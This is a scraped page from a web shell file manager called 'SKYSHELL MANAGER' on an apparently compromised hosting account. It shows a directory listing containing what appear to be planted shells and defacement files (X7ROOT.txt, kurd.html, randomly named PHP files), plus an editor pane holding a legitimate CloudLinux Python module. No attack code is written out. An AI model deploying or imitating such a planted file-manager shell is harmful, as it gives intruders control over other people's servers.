📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.43 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: selector_manager.py
# coding: utf-8 # Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved # # Licensed under CLOUD LINUX LICENSE AGREEMENT # http://cloudlinux.com/docs/LICENSE.TXT from __future__ import absolute_import from __future__ import print_function from __future__ import division import os from abc import ABCMeta from future.utils import iteritems from clselect.baseclselect import ( ENABLED_STATUS, NOT_INSTALLED_STATUS ) from .config import BaseSelectorConfig # NOQA from .pkgmanager import BasePkgManager # NOQA from future.utils import with_metaclass class BaseSelectorManager(with_metaclass(ABCMeta, object)): """Responsible for actual interpreter selector high-level API""" def __init__(self, cfg, pkg): """ :type cfg: config.BaseSelectorConfig :type pkg: pkgmanager.BasePkgManager """ self.pkg = pkg # type: BasePkgManager self.cfg = cfg # type: BaseSelectorConfig self.is_root_user = os.geteuid() == 0 @property def selector_enabled(self): return self.cfg.selector_enabled @selector_enabled.setter def selector_enabled(self, val): self.cfg.selector_enabled = val self.cfg.save() @property def default_version(self): return self.cfg.get_default_version() def switch_default_version(self, version): self.cfg.set_default_version(version) self.cfg.save() def set_version_status(self, version, status): """Disable/Enable particular interpreter version globally""" self.cfg.set_version_status(version, status) self.cfg.save() def is_version_enabled(self, version): """Check whether particular (installed) version is enabled""" enabled = [k for k, v in iteritems(self.cfg.available_versions) if v['status'] == ENABLED_STATUS] return version in enabled def install_version(self, version): return self.pkg.install_version(version) def uninstall_version(self, version): if version == self.cfg.get_default_version(): return "It's not allowed to uninstall default version" return self.pkg.remove_version(version) def get_summary(self, installed_interpreters_only=False): all_versions = self.cfg.available_versions available_to_install = [] if not installed_interpreters_only and self.is_root_user: # Only root can see "in progress" and "not installed yet" versions # We may change this in future if we have such requirement processed_now = self.pkg.in_progress() if processed_now: all_versions.update(processed_now) available_to_install = self.pkg.checkout_available() if available_to_install: available_to_install = set(available_to_install) installed_and_in_progress = set(all_versions.keys()) diff = { ver: {'base_dir': '', 'status': NOT_INSTALLED_STATUS} for ver in (available_to_install - installed_and_in_progress) } all_versions.update(diff) # Prettify output by converting Major version to Full versions # if possible all_versions = {self.pkg.get_full_version(k): v for k, v in iteritems(all_versions)} if "" in all_versions: all_versions.pop("") return { 'default_version': self.cfg.get_default_version(), 'available_versions': all_versions, # `Updating` means pkg info is not available right now and we # already started background process to rebuild that cache. # Once it finished status becomes `ready` again. # If we run as user it's always `ready` 'cache_status': ('updating' if available_to_install is None else 'ready'), 'selector_enabled': self.selector_enabled, }
Save